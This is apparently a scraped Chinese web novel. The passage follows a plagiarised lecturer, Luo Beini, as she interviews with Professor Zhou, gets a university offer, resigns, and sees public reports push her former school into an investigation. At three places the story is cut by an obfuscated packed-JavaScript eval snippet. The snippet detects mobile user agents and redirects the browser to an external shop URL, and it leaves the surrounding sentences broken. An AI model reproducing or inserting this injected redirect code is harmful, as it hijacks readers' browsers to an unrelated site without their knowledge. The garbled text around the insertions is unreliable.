“给寄遥买支钢笔吧,她写字好看。” 吴小糖看着她一样一样地挑,一样一样地买,眼眶有点红。 “罗老师……” 罗贝妮回过头,笑了笑。 “别煽情,走,回去!” / 下午回到工作室,罗贝妮把礼物分给大家。 吴小糖的羽绒服当场就穿上了,对着手机屏幕照了半天。 应宽接过茶叶,推了推眼镜,说了声谢谢。 俞彩虹摸着那条羊绒披肩,轻轻说了句“有心了”。 徐寄遥接过那支钢笔,拿在手里看了看。黑色的笔身,金色的笔尖,分量很足。 “谢谢。” 就两个字。 但罗贝妮知道,这两个字,已经很多了。 整个下午,罗贝妮都在准备。 她把论文从头到尾看了一遍,把当年做田野调查的笔记翻出来,把可能被问到的问题列了一张表。 吴小糖在旁边陪着她,时不时给她递杯水。 晚上十点,徐寄遥走过来。 “早点睡,明天状态要好。” 罗贝妮点点头,但她的手还在抖。 徐寄遥看着她。 “别怕。你行的。” / 4月13日,早上七点半。 罗贝妮醒了。 她一晚上翻来覆去,脑子里全是面试的事。 但奇怪的是,醒过来之后,她反而平静了。 她换上那套新衣服,对着镜子整理了一遍。 头发扎起来,露出一张干净的脸。眼睛里有点血丝,但精神还不错。 八点十五分,所有人到齐。 应宽已经把设备调好了。摄像头、麦克风、灯光,一切都准备就绪。 罗贝妮坐在电脑前,手心开始出汗。 徐寄遥站在她身后。 “深呼吸。” 罗贝妮深吸一口气。 “别紧张,你是去面试的,不是去受审的。” 罗贝妮点点头。 八点五十五分,视频接通。 / 屏幕上出现周齐远的脸。 五十多岁,头发花白。看起来很儒雅,但眼神很锐利,像是能看透人心。 “你们好。”声音很温和。 徐寄遥微微欠身。 “周教授您好,我是徐寄遥,代吵APP的创始人。” 周齐远点点头。 “寄遥,你好,邮件收到了,写得非常清楚。谢谢你。” 他又看向旁边。 “这位是……俞老师?” 俞彩虹上前一步,微微点头。 “周教授,好久不见。” 周齐远笑了。 “好久不见,当年在活动上听过你的报告,印象深刻,后来听说你离开了学界,挺可惜的。” 俞彩虹笑了笑。 “现在不是回来了吗?虽然是另一种方式。” 周齐远点点头。 “挺好。” / 寒暄过后,徐寄遥把位置让给罗贝妮。 “周教授,这位就是罗贝妮老师。” 罗贝妮深吸一口气,对着屏幕微微欠身。 “周教授您好。” 周齐远看着她,目光很温和,但不失锐利。 “罗老师,你的论文我仔细看过了。” 罗贝妮愣了一下,因为紧张浑身都很僵硬。 “您、您真的看了?” “看了不止一遍,”周齐远说,“第三章那个‘贫困文化再生产’的理论模型,很有创见,田野调查的数据也很扎实,一看就是下了功夫的。” 罗贝妮不知道该说什么。 周齐远继续说: “跟我说说,你当时是怎么想到做这个课题的?” / 罗贝妮沉默了几秒,然后开口。 “2019年,我博二,那一年,我跟着一个扶贫调研组下去跑了一圈,跑了三个省,十几个村子。” 她的声音慢慢稳下来。 “刚开始只是帮调研组收集数据,没什么自己的想法,但跑着跑着,我发现一个问题。” “什么问题?” “那些贫困的家庭,不是彻底没能力没资源,他们有的是地,有的是劳动力,但他们就是穷,一代一代地穷下去。” 周齐远点点头。 “然后呢?” “然后我就想,为什么会这样?是什么东西让他们走不出来?” 罗贝妮的眼睛里有了光。 “后来我在一个村子里待了三个月,每天跟那些家庭聊天,听他们讲自己的故事,我发现,他们不是不想努力,是他们根本不知道该怎么努力,他们的父母没教过他们,他们的邻居也没人知道,祖祖辈辈,都是这么过的。” “我把那些故事记下来,整理成数据,慢慢就发现,贫困是会遗传的,遗传一种生活方式,一种思维方式。” 周齐远听得很认真。 “这就是你那个‘贫困文化再生产’的模型?” 罗贝妮点点头。 “我当时只是有个模糊的想法,觉得可以用‘文化资本’和‘社会资本’来解释,后来读了您那篇《贫困的文化逻辑》,才把思路理清楚。” 周齐远笑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248135|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我那篇论文,是十五年前写的。” 罗贝妮点点头。 / 周齐远看着她,目光里多了一些东西。 不是欣赏,是一种更深的认可。 “罗老师,你做这个田野调查,花了多久?” “一年半,2019年到2020年。” “跑了多少个村子?” “三十七个。” 周齐远点点头。 “不容易。” 罗贝妮沉默了一下。 “是不容易,但值得。” 周齐远看着她,沉默了几秒。 然后他问: “罗老师,你知道启元大学那边,现在是什么情况吗?” 罗贝妮愣了一下。 “我……我很久没回去了,从3月初开始,就一直没回学校。” 周齐远点点头。 “我跟几个熟人打听了一下,启元学术委员会那边,已经知道这件事了。” 罗贝妮的手握紧了。 “他们怎么说的?” 周齐远沉默了一下。 “争议很大。” “什么意思?” “有一部分人认为,这是严重的学术不端,应该严肃处理,但是还有一部分人……”他顿了顿,“觉得是你在闹。” 罗贝妮愣住了。 “闹?” “他们说,师生之间的事情,本来就有很多模糊地带,张凌烽是院长,是权威,你一个小讲师把事情捅到网上,是在炒作、博眼球,一些人觉得,张凌烽只是没处理好跟学生的关系,不是什么严重的学术问题。” 罗贝妮的脸色变了。 “这、这怎么可能?我有证据!论文草稿、邮件、录音,我都有!” 周齐远点点头。 “我知道,我也相信你。” 他叹了口气。 “学术圈不是你想象的那样,证据是证据,人情是人情,张凌烽在那个圈子里待了三十年,有的是人替他说话。” 罗贝妮沉默了。 周齐远继续说: “就算最后查实了,给了张凌烽处分,你在启元大学还能待下去吗?” 罗贝妮没有说话。 “你待不下去的,”周齐远说,“那些支持张凌烽的人,不会放过你,他们会想办法让你评不上职称,拿不到项目,发不了论文,温水煮青蛙,慢慢把你挤走。” “我接收你,就是不想看到你这样。” / 罗贝妮的眼泪流下来。 “周院长……谢谢您。” 周齐远点点头。 “你来了我这儿,就是最好的回应。” 罗贝妮擦了擦眼泪。 周齐远笑着说: “你这篇论文,放在国内任何一所大学,都是优秀的博士论文,张凌烽剽窃你,不是因为他坏,是因为他写不出这么好的东西。” “我做了一辈子学问,最看重的就是真东西,你是真有东西的人,我不能让你被埋没。” / 视频结束之后,罗贝妮坐在椅子上,一动不动。 三十分钟,比想象中过得快。 吴小糖凑过来。 “罗老师,你没事吧?” 罗贝妮摇摇头。 “没事。” 她站起来,走到窗边,看着外面的街道。 徐寄遥走过来,站在她旁边。 “想什么呢?” 罗贝妮沉默了几秒。 “在想周院长说的那句话。” “哪句?” “你是真有东西的人……” 她顿了顿,声音又哽咽了。 “我以为我写那篇论文,只是为了毕业,从来没想过,它会成为我的一条出路。” 徐寄遥看着她。 “所以你当初写的时候,是真想写好的。” 罗贝妮点点头。 “当然是真的,我那时候什么也不想,就想把那些人的故事记下来,让更多人看到。” 徐寄遥没有说话。 但她的嘴角,微微上扬了一下。 / 晚上,罗贝妮坐在沙发上,翻着那些私信。 一条一条,都是这些天收到的。 她看了很久。 然后她放下手机,走到窗边。 窗外,那些路灯,一盏一盏,亮得很稳。 她想起周齐远说的那句话: “我做了一辈子学问,最看重的就是真东西。” 她看着窗外,忽然笑了。 22.罗贝妮的困境(十二):最后一篇 2025年4月13日,上午九点。 罗贝妮的手机响了。 她看了一眼来电显示,心跳漏了一拍。 南江市的区号 她深吸一口气,按下接听键。 “喂?” “罗贝妮老师您好,我是南方大学人事处的谢老师。关于您的入职手续,有几个细节需要跟您确认一下……” 接下来的五分钟,罗贝妮几乎没有听进去对方在说什么。她只是机械地“嗯”“好”“谢谢”,脑子里一片空白。 挂断电话之后,她坐在沙发上,一动不动。 吴小糖凑过来。 “罗老师?怎么了?” 罗贝妮没有说话。她把手机屏幕转向吴小糖。 屏幕上是一封邮件。 发件人:南方大学人事处。邮件标题:《录用通知书》。 吴小糖看了一眼,然后尖叫起来。 “啊!!!罗老师!!你被录用了!!!” 她的声音太大了,把应宽都吓了一跳。俞彩虹从杂物房探出头来。徐寄遥放下手里的笔,走过来。 吴小糖举着罗贝妮的手机,在屋里跑来跑去。 “你们看!你们看!南方大学的offer!正式的!” 罗贝妮坐在沙发上,嘴角慢慢浮起一个笑容。 / 俞彩虹走过来,在她旁边坐下。 “恭喜。” 罗贝妮看着她,眼眶有点红。 “俞老师,谢谢你。” 俞彩虹摇摇头。 “不是我,是你自己。” 应宽推了推眼镜。 “罗老师,南方大学社会学系,全国排名前三,你去了之后,好好干。” 罗贝妮点点头。 吴小糖还在兴奋,已经跑到窗边去给谁发消息了。 徐寄遥走过来,站在罗贝妮面前。 “心定了?” 罗贝妮想了想,点点头。 “定了。” / 整个上午,罗贝妮什么都没做。 她就坐在沙发上,把那封录用通知书看了一遍又一遍。 每一个字都看,每一句话都读。好像多看一遍,就能更确定这不是一场梦。 中午吃饭的时候,吴小糖一直在叽叽喳喳地问南方大学的事。 “罗老师,南方大学食堂好吃吗?” “罗老师,那边房价贵不贵?” “罗老师,你去了之后还会回来看我们吗?” 罗贝妮一一回答着,脸上一直带着那个淡淡的笑容。 吃完饭,她站起来。 “我想写点东西。” / 下午两点,罗贝妮坐在电脑前。 屏幕上是一个空白的文档。光标一闪一闪,像是在等着什么。 她沉默了很久。 一个月前,她第一次坐在这里,手抖得握不住鼠标。 那时候她不知道接下来会发生什么,不知道那些帖子发出去会有什么后果,不知道自己还能不能在这个圈子里活下去。 一个月后,她坐在同一个地方,手很稳。 她知道接下来会发生什么。她会去南方大学,会开始新的生活。 但她还是想写点什么。 不是为了证明什么。 是为了好好告别。 她开始打字。 / 标题:《轻舟已过——写给这一个月,写给代吵APP,也写给自己》 她的手很稳。不再抖了。 “这一个月,我发了五篇长文。” “每一篇发出去之前,我都问自己:要不要发?发了之后会不会更糟?会不会被人骂?会不会连最后一点体面都保不住?” “但每一次,‘以德服人’都会说一句话:‘不发,你会后悔。’” “所以我发了。” “我把论文对比发出去,把邮件截图发出去,把录音文字稿发出去。那些东西在我手里攒了三个月,终于让所有人看到了。” 她顿了顿。 “有人说我勇敢。但我知道,我不是勇敢。我只是走投无路。” “真正勇敢的,是那些私信我的人。他们比我更怕,但他们还是说:‘罗老师,我支持你。’‘罗老师,你赢了,我们就有希望。’” “那些私信,我一条都没删。” / “到今天为止,启元大学学术委员会没有给我任何正式回复。校纪委没有,人事处没有,校领导也没有。” “我不知道他们会不会调查张凌烽,也不知道调查结果会是什么。也许查,也许不查。也许几个月后有结果,也许没有。” “但我不等了。” 她深吸一口气,继续写。 “我收到了南方大学的录用通知。周齐远院长愿意接收我。他说,你是真有东西的人,我不能让你被埋没。” “这句话,我等了八年。” / “我想好好写一写代吵APP。” “一个月前,我走进代吵工作室的时候,是一个走投无路的人。” “那时候我已经被停课,被安排连续培训,被逼着签离职表。我有一肚子话想说,但没有人听我说。” “我是从网上看到代吵APP的。当时只是想,试一试吧。反正已经这样了,还能更糟吗?” 她停顿了一下,继续写。 “这个APP,看起来是帮人吵架的。但这一个月,我看到的不是吵架,是有人听你说话,有人信你,有人陪着你。” “第一次见到‘以德服人’的时候,她很安静地听我说完了一个多小时。没有打断,没有评判,只是听。我那时候不知道,这种被听见的感觉,有多重要。” “她话不多,但每一句都在点上。我慌的时候,她让我深呼吸。我怕的时候,她说‘不发,你会后悔’。我哭的时候,她就那么坐着,不说话。” “然后是‘局内人’,她告诉我,她也经历过类似的事。她帮我联系周院长,帮我分析张凌烽的套路,帮我稳住情绪。她说,她自己淋过雨,所以知道怎么给别人撑伞。” “她说,我当年没做到的,你来做。这句话,我这辈子都不会忘。” “还有‘以和为贵’,他是技术大牛,电脑前一坐就是一整天。帮我把那些乱七八糟的证据整理成清清楚楚的时间线。那些我以为没人会在意的邮件、截图、录音,被他一样一样地标出来,变成一张谁都能看懂的图表。” “还有‘金刚芭比’,她是代吵的开心果,也是我的保镖。我去哪儿她都跟着,我哭了她给我递纸巾,我笑她跟着笑。有一次我问她,你整天陪着我,不烦吗?她说,你是我朋友,我为什么要烦?” 她写到这里,眼眶有点红。 但她没有停。 “代吵不是什么大公司,他们只有四个人,一个租来的三室一厅,几台电脑,我在他们的折叠床上睡了半个月。” “这里,比我待了八年的启元大学,更像一个家。” / 她写到了自己。 “这一个月,我学会了一件事。” “学会不再等。” “以前我总是等,等张凌烽良心发现,等学校给我一个说法,等事情自己好起来。我等了三个月,什么都没有。” “后来我不等了,我发了那些帖子,写了那些文字,把证据摆到网上,然后事情开始变了。” “不是因为我等到了什么,是因为我做了什么。” 她顿了顿。 “如果有人也遇到类似的事,我想说几句话。” “第一,保存证据。邮件、截图、录音,只要有一线可能,都留着。你永远不知道什么时候会用上。” “第二,找人帮忙。不要一个人扛,我不是一个人扛过来的,我身边有代吵,有私信支持我的人。你也要找到这样的人。” “第三,不要怕。我知道说这句话容易,做起来难。我也怕,怕了很久,但后来我发现,怕没有用。该来的总会来,你躲不掉。不如面对。” “第四,想清楚自己要什么。是让对方承认?是让对方道歉?还是只是让自己不后悔?想清楚了,才知道往哪儿走。” / 她写到了未来。 “我要去南方大学了。” “周齐远院长说,去了之后好好做学问,我也是这么想的。那篇被剽窃的论文,我会重新写,重新发,用我自己的名字。” “我还会继续做田野调查,那些贫困村的故事,还没讲完,那些家庭的笑和泪,还等着被看见。” “学术圈很难,维权更难,但我还是想留在里面,不是因为舍不得什么,是因为那些故事值得被讲出来。” 她停下来,看着窗外。 阳光照进来,落在电脑屏幕上。 她继续写。 “临走之前,我想说一句谢谢。” “谢谢代吵APP,谢谢你们收留我,陪我,信我。” “谢谢那些私信我的人,你们让我知道,我不是一个人。” “最后,谢谢我自己,谢谢那个走投无路却还是走进代吵工作室的自己。” / 她写到最后一段。 “启元大学还没有给我任何回复,我不知道他们会不会调查张凌烽,也不知道调查结果会是什么,但我会继续关注,继续等。” “不是因为我还指望什么,是因为这件事,不该就这么算了。” “我走了,但证据还在网上。那些论文对比、邮件截图、录音文字稿,会一直留着。谁想看,都能看到。” “张凌烽的剽窃,不是我说了算,也不是他说了算,是证据说了算。” 她按下回车,写下最后一行。 “前方是什么,我不知道,但我知道,我不会再怕了。” 徐寄遥走过来,站在她旁边。 “写完了?” 罗贝妮点点头。 “写完了。” “感觉怎么样?” 罗贝妮想了想。 “好像……真的轻了。” / 下午四点,罗贝妮点击了发布。 帖子发出去之后,评论区很快就热闹起来。 “罗老师,恭喜!南方大学是好去处!” “代吵APP是什么?我也想了解一下。” “这个帖子写得真好,看哭了。” “轻舟已过万重山,祝福罗老师!” 吴小糖在旁边一条一条地念着,念着念着,声音有点哽咽。 “罗老师,你看,好多人祝福你。” 罗贝妮点点头。 “是啊。” 她站起来,走到窗边。 阳光照在她身上,暖洋洋的。 / 4月14日,上午九点。 罗贝妮和吴小糖站在启元大学门口。 这是她半个月来第一次回来。 上一次从这里走出去的时候,她还不知道自己下一步该怎么走。 现在,她知道她要走了。 吴小糖看着她。 “罗老师,你没事吧?” 罗贝妮摇摇头。 “没事。” 她深吸一口气,迈步走了进去。 人事处的办公室在教学楼三层。 走廊里很安静,偶尔有学生经过,好奇地看了她们一眼。 罗贝妮敲了敲门。 “请进。” 推开门,里面坐着一个中年女人,戴着眼镜,表情冷淡。 人事处的秦老师。 罗贝妮见过她几次,每次都是冷着一张脸,像是谁都欠她钱。 “罗老师……你这时候过来是?”秦老师抬起头,“来办离职?” 罗贝妮点点头。 “表格带了吗?” 罗贝妮从包里拿出那张离职申请表,递过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252809|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那张表在她枕头底下压了半个月,边角有点皱了。 秦老师接过去,扫了一眼。 “等着。” 她站起来,走进里面的办公室。 隔着玻璃,罗贝妮看到她跟另一个人说了几句话,那人点了点头。 五分钟,十分钟,十五分钟。 罗贝妮站在那里,一动不动。 吴小糖在旁边小声说:“怎么这么慢?” 罗贝妮摇摇头。 又过了五分钟,秦老师出来了。 “签几个字。” 罗贝妮接过她递来的几张纸。 离职交接单、工资结算确认、社保转移申请。每一张纸最下面,都有一行空白的签名栏。 她拿起笔,一笔一划地签下自己的名字。 签完最后一张,她把笔放下。 秦老师接过那些纸,一张一张地盖了章,然后递给她一份。 “好了,剩下的手续,学校会处理。” 罗贝妮接过那份文件,看了一眼。 那是她的离职证明。 上面写着:罗贝妮,因个人原因申请离职,经学校批准,予以解聘。 “因个人原因”。 她盯着那几个字,盯了几秒。 然后她折好,放进口袋。 “谢谢。” “嗯。”秦老师已经低头看电脑了,没有理她。 罗贝妮转身,推开门,走了出去。 / 走出人事处大楼的时候,罗贝妮站在门口,回头看了一眼。 那栋楼她进进出出无数次。交材料、办入职、办各种手续。 从来没有想过,最后一次来,是办离职。 她站了很久。 吴小糖在旁边,没有说话。 然后她们转身,往外走。 走到校门口的时候,罗贝妮停下了。 对面走过来一个人。 深灰色的西装,头发梳得一丝不苟,手里拿着一个公文包。走路的姿势微微昂着头,目不斜视。 张凌烽。 他也看到了她。 两个人的脚步同时停住。 距离不到十米。 吴小糖下意识地往罗贝妮身边靠了靠。 张凌烽的表情变了。那种变化很快,快得几乎看不清。 但罗贝妮看到了。 是慌乱。 然后他移开视线,假装没看见她,继续往前走。 他从她身边走过,距离不到两米。 他没有看她,脚步也没有停,走得很快,像是身后有什么东西在追。 罗贝妮站在原地,看着他的背影越来越远。 吴小糖小声说: “他假装没看见你。” 罗贝妮点点头。 “他怕了。” “怕什么?” “怕我在这个时候叫住他,怕有人拍照,怕再出什么幺蛾子。” 她顿了顿。 “当了二十年院领导,从来都是别人怕他,现在他怕了。” 吴小糖愣了一下,然后笑了。 “该!” / 走出校门的时候,罗贝妮又回头看了一眼。 启元大学的正门很大,门楼上挂着校名,金灿灿的字在阳光下闪闪发光。 她在这里待了八年。 八年,从博士到讲师,从学生到老师。 她在这里熬过无数个夜,写过无数篇论文,做过无数个田野调查。 她以为她会在这里待一辈子。 但现在,她要走了。 她想起八年前,第一次走进这个校门的时候。那时候她满怀期待,觉得自己终于踏进了学术的殿堂。 她想,如果以后还在这里,会是什么样子。也许评上了副教授,也许没有。也许还在等,等那些永远等不到的东西。 她笑了笑。 那笑容里有很多东西。 有不甘,有释然,有遗憾,也有庆幸。 她转身,往前走。 没有再回头。 / 回到工作室,已经是下午。 吴小糖叽叽喳喳地跟俞彩虹说着刚才的事。 “俞老师,你都不知道,那个张凌烽看到罗老师,脸都白了!假装没看见,走得飞快!” 俞彩虹笑了。 “正常,他现在最不想见到的,就是罗贝妮。” 罗贝妮坐在沙发上,听着她们说话。 她忽然想起自己那篇帖子的最后一句话: “前方是什么,我不知道,但我知道,我不会再怕了。” 她笑了。 徐寄遥走过来,在她旁边坐下。 “定了哪天走?” “后天。” 徐寄遥点点头。 “我们送你。” 罗贝妮看着她。 “不用,我自己……” “要送的。” 罗贝妮愣了一下,然后点点头。 “好。” / 晚上,罗贝妮收拾东西。 她把那些论文手稿、田野调查笔记、录音文件,一样一样地装进箱子。 这些东西,她带了八年。从博士到讲师,从启元到代吵,现在又要跟着她去南方大学。 吴小糖在旁边帮忙,一边帮忙一边念叨。 “罗老师,你到了那边要记得给我们发消息。” “有什么需要就打电话。” “放假了一定要回来看我们。” 罗贝妮笑着点头。 “好,一定。” 她合上箱子,站起来,看着这个小小的杂物房。 半个月前,她第一次走进这里,走投无路,不知道明天会怎样。 半个月后,她收拾行李,准备离开,去一个全新的地方。 她忽然觉得,这半个月,比她过去的八年,活得都长。 23.罗贝妮的困境(十三):举报浪潮 2025年4月14日,上午八点。 罗贝妮的帖子发布不到24小时,评论区已经突破了三万条。 吴小糖是第一个发现的。她习惯性地刷着手机,突然从沙发上弹起来。 “寄遥姐!你看这个!” 徐寄遥接过手机。 屏幕上是一条新评论,点赞已经超过五千。 “我打了教育部学术不端举报电话!接线员说已经收到很多关于张凌烽的举报了!” 下面跟了上百条回复。 “我也打了!打了三遍才打通!” “电话一直占线,后来换网上举报了。” “有举报链接吗?发我一个!” 吴小糖一条一条往下翻,越翻越激动。 “寄遥姐,好多人在举报!” 徐寄遥点点头,没有说话。 她把手机还给吴小糖,走到窗边,看着外面的街道。 阳光很好,街上人来人往。 没有人知道,在这个小小的工作室里,一场风暴正在酝酿。 / 上午九点,应宽抬起头。 “寄遥,你看这个。” 他把屏幕转向大家。 屏幕上是一个微博页面。热搜榜上,有一个话题正在快速上升。 #张凌烽学术不端# 点进去,是罗贝妮那篇帖子的转发,已经超过十万。 评论区已经炸了。 “这种人还能当院长?!” “学术圈太黑了!” “支持罗贝妮!支持举报!” “网络审判不可取,等官方通报吧。” 应宽往下翻着,突然停住了。 “这里有一条有意思的。” 他把那条评论放大。 “我是启元大学的校友,我们校友群里已经炸了,很多人说要联名举报。” / 上午十点,教育部学术不端举报电话被打爆了。 这是后来周明朗告诉他们的。 周明朗是俞彩虹联系的媒体朋友,专门跑教育口。 他在电话里的声音带着一种压抑不住的兴奋。 “俞老师,你们知道现在什么情况吗?” 俞彩虹按了免提,让所有人都能听到。 “什么情况?” “教育部举报电话,从昨晚到现在,接了三百多个电话,三分之二都是举报张凌烽的!” 罗贝妮愣住了。 “三百多个?” “对!”周明朗的声音很兴奋,“接线员说,他们从来没见过这种阵势,有人打电话打到一半,后面还排着队,他们不得不临时增加了两条线路。” “教育部那边怎么说?” “已经介入督办了,”周明朗说,“这个级别的舆论压力,他们不可能不管,我估计这两天就会有官方通报。” 电话挂断之后,工作室里安静了几秒。 然后吴小糖尖叫起来。 “三百多个举报!三百多个!” 罗贝妮坐在沙发上,一动不动。 她想起一个月前,自己一个人坐在办公室里,不知道该把举报信发给谁。 现在,有三百多个人,替她打了那个电话。 她的手又开始抖。 但这一次,不是害怕。 / 中午十二点,应宽又有了新发现。 “寄遥,你看启元大学官网。” 徐寄遥凑过去看。 官网上有一个“校长信箱”的入口。 平时这个信箱一天也就收几封邮件,都是一些学生咨询之类的小事。 但现在,那个信箱旁边多了一行红色的字: “因访问量过大,校长信箱暂时无法提交,请稍后再试。” 应宽笑了一声: “被挤爆了。” 他调出后台数据。 “昨晚十点开始,留言量开始激增,到今早八点,一共收到五百三十七条留言,其中四百多条,都是要求彻查张凌烽的。” 吴小糖凑过来看。 “五百多条?校长看得过来吗?” 应宽摇摇头。 “看不看得过来不重要,重要的是,他们收到了。” 他指着屏幕。 “这种数量级的留言,学校不可能假装没看见,他们必须回应。” / 下午两点,又一个消息传来。 这次是俞彩虹在手机上刷到的。 “启元大学校友会发声明了。” 她把手机递给徐寄遥。 校友会的官方微博发布了一条长文。 标题是:《关于维护母校学术声誉的倡议书》。 正文里,校友会表示: “近日,关于我校张凌烽教授学术不端的传闻,在校友群体中引起广泛关注。校友们纷纷表达了对母校学术声誉的关切。” “学术声誉是大学的生命线,我们呼吁母校高度重视此事,尽快启动调查,给校友和社会一个交代。” 评论区一片叫好。 “校友会硬气!” “这才是校友会该做的事!” “支持母校彻查!” 吴小糖看着那些评论,眼眶有点红。 “罗老师,你看,好多人支持你。” 罗贝妮没有说话。 但她看着那些评论的眼睛里,有什么东西在闪。 / 下午四点,学术圈也开始有动静了。 应宽在学术论坛上发现了一条帖子。 发帖人是一个实名认证的账号,头衔是某985高校教授。 帖子标题:《关于张凌烽事件的几点看法》。 正文里,这位教授写道: “学术剽窃是学术界的大忌。如果张凌烽确实剽窃了学生的论文,那必须严肃处理。这不仅关系到个人声誉,更关系到整个学术圈的声誉。” “我注意到,网上对这件事的关注度很高,这说明社会对学术诚信的期待越来越高,学术圈不应该再关起门来玩自己的了。” 下面跟了一百多条回复。 有人支持: “说得好!学术圈需要自我净化!” “支持彻查,不管是谁。” 也有人质疑: “让子弹飞一会儿,等官方通报吧。” “这种事情很难说清,毕竟是师生关系。” 但无论如何,话题已经被摆到台面上了。 俞彩虹看着那条帖子,点了点头。 “学术界开始松动了。” 她看着罗贝妮。 “你知道这意味着什么吗?” 罗贝妮想了想。 “意味着……张凌烽不再是铁板一块了?” 俞彩虹点点头。 “之前那些替他说话的人,现在不敢说话了,之前那些沉默的人,现在敢站出来了,风向变了。” / 晚上七点,张凌烽的紧急应对来了。 他召开了媒体通气会。 是录播的,发了三分钟。 镜头里的张凌烽看起来还是那副样子,西装革履,头发一丝不苟,只是眼神里多了一些东西。 那种东西,罗贝妮很熟悉。 是慌。 “各位媒体朋友,各位关注此事的朋友,我是张凌烽。” 他的声音还是那么稳。 “近日,关于我剽窃学生论文的传闻,在网上持续发酵。我想借此机会,做一个正式的回应。” 他顿了顿。 “罗贝妮老师的指控,完全是误解,学术观点的传承,是学术研究的正常现象,我的论文观点,确实是在指导罗贝妮的过程中形成的,但这绝不是剽窃,而是学术研究的正常发展。” “我愿意配合学校的调查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“什么?” “张凌烽那个媒体通气会,播放量已经超过五百万了,评论区……” 他放大屏幕。 “看这个。” 评论区里,最高赞的一条评论是: “他说了这么多,证据呢?论文草稿呢?研究笔记呢?什么都没有,说了等于没说。” 下面跟了三千多条回复。 “对!证据呢?” “拿不出证据就是心虚!” “让他把研究笔记晒出来!” 应宽推了推眼镜。 “风向已经彻底变了,之前还有人替他说话,现在几乎全是质疑。” 俞彩虹走过来,看了一眼屏幕。 “正常,他那套话术,骗得了第一次,骗不了第二次,舆论这东西,一旦看清了,就再也回不去了。” 罗贝妮站在旁边,听着他们说话。 徐寄遥问她: “在想什么?” 罗贝妮沉默了几秒。 “我以前觉得,学术圈是关起门来的,但现在……” 她顿了顿。 “现在觉得,门外面还有很多人。” 徐寄遥看着她。 “所以呢?” 罗贝妮想了想。 “所以,我想好好做学问,不是为了证明什么,是为了那些人。” / 凌晨三点,罗贝妮回到杂物房,躺在那张折叠床上。 她盯着天花板,睡不着。 脑子里一直在转。 三百多个举报电话,五百多条留言,教育部的督办通知。 那些数字像放电影一样,来回地转。 她想起一个月前,自己一个人坐在办公室里,不知道该把举报信发给谁。 现在有三百多个人,替她打了那个电话。 她闭上眼睛。 嘴角,有一丝笑意。 24.罗贝妮的困境(十四):启动调查 2025年4月15日,上午九点。 罗贝妮在自己家收拾行李。 东西不多,衣服叠好了码在箱子里,书和论文草稿装了整整一个纸箱。 那个纸箱有点沉,她搬起来的时候,腰酸了一下。 她直起身,揉了揉腰,站在房间里环顾四周。 住了五年的出租屋,东西就这么点。真要走了,才发现自己原来这么轻。 手机响了。 是微博推送。 她本来没在意,只是随手点开看了一眼。 然后她整个人定住了。 屏幕上是一条热搜: #启元大学回应院长剽窃# 她的手开始发抖。抖得几乎拿不住手机。 她点进去。 第一条就是启元大学官网的公告截图。 《关于暂停张凌烽同志院长晋升程序的通知》 她的眼睛死死盯着那几个字,盯了很久。 “暂停晋升程序……” 她喃喃地念出声。 然后她站起来,拿着手机,冲出房间。 拖鞋在地板上啪嗒啪嗒响,她匆忙换鞋,冲出了门。 / 二十分钟后,罗贝妮冲进代吵工作室。 门被她推得砰一声响。 吴小糖正在吃苹果,吓得差点噎住。 她从沙发上弹起来,苹果都忘了嚼。 “罗老师?!怎么了?!” 罗贝妮站在那里,喘着气,举着手机。 她跑得太急,额头上全是汗,头发贴在脸上,看起来狼狈极了。 但她眼睛里的光,亮得吓人。 “你们看!” 徐寄遥放下手里的笔,接过手机。 她看了一眼,然后抬起头,看向罗贝妮。 没有说话。 但她脸上的笑意抑制不住了。 她把手机递给俞彩虹。 俞彩虹接过去,仔细看了一遍。 看完之后,她沉默了几秒,然后嘴角慢慢浮起一个笑容。 那笑容里有太多东西。欣慰,释然,还有一点说不清的复杂。 应宽凑过去看了一眼,推了推眼镜。 “暂停晋升程序,成立独立调查组。” 他顿了顿。 “这是赢了。” 罗贝妮站在那里,眼泪终于流下来。 不是悲伤,是一种说不清的东西。 像是压在心里的一块石头,终于被人搬走了。像是走了很远的路,终于看到尽头。 像是憋了很久很久的一口气,终于可以呼出来了。 吴小糖冲过去抱住她。 “罗老师!你赢了!你赢了!” 罗贝妮被她抱着,哭得说不出话。 眼泪鼻涕糊了一脸,但她顾不上擦,肩膀一抽一抽的。 俞彩虹走过来,轻轻拍了拍她的肩。 “这一仗,你赢了。” 应宽难得地点了点头。 “恭喜。” / 哭完之后,罗贝妮坐在沙发上,把那条公告看了一遍又一遍。 公告内容不长,但她每个字都读了好几遍。 “鉴于近期网络舆情及学术争议,学校决定暂停张凌烽同志院长晋升程序。” “成立由校外专家组成的独立调查组,对相关学术争议进行全面调查。” “调查结果将在60个工作日内向社会公布。” 她抬起头,看着徐寄遥。 “寄遥,这是真的吗?” 徐寄遥走过来,在她旁边坐下。 “真的。” “我不是在做梦吧?” 徐寄遥看着她。 “你掐自己一下。” 罗贝妮真的掐了一下。 “疼。” 她笑了。笑得眼泪又流下来。 吴小糖在旁边看着,也跟着傻笑。 “罗老师,你这又哭又笑的。” / 中午,罗贝妮非要请大家吃饭。 “我来这么久,一顿饭都没请过,今天必须让我请!” 吴小糖摆手。 